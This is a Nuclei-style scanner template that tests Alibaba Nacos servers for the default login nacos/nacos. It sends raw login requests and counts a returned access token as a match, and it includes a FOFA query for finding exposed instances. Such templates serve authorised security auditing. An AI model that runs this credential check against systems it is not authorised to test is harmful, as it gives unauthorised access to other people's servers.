id: nacos-default-login

info:
  name: Alibaba Nacos - Default Login
  author: SleepingBag945
  severity: high
  description: |
    The default username and password for Nacos are both nacos.
  metadata:
    verified: true
    max-request: 2
    fofa-query: title=="Nacos"
  tags: nacos,default-login,alibaba

http:
  - raw:
      - |
        POST /v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /nacos/v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - nacos
      password:
        - nacos
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken":'
          - '"username":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100f1e6f9c8dd27b0141b612bb668588d99e6709603a0cda653f7a1c6a7f882728d02202fb57fdfd3c7e625aed2f17eadc5a8ef82f752c7a5d50e963e616cbf763d639d:922c64590222798bb761d5b6d8e72950
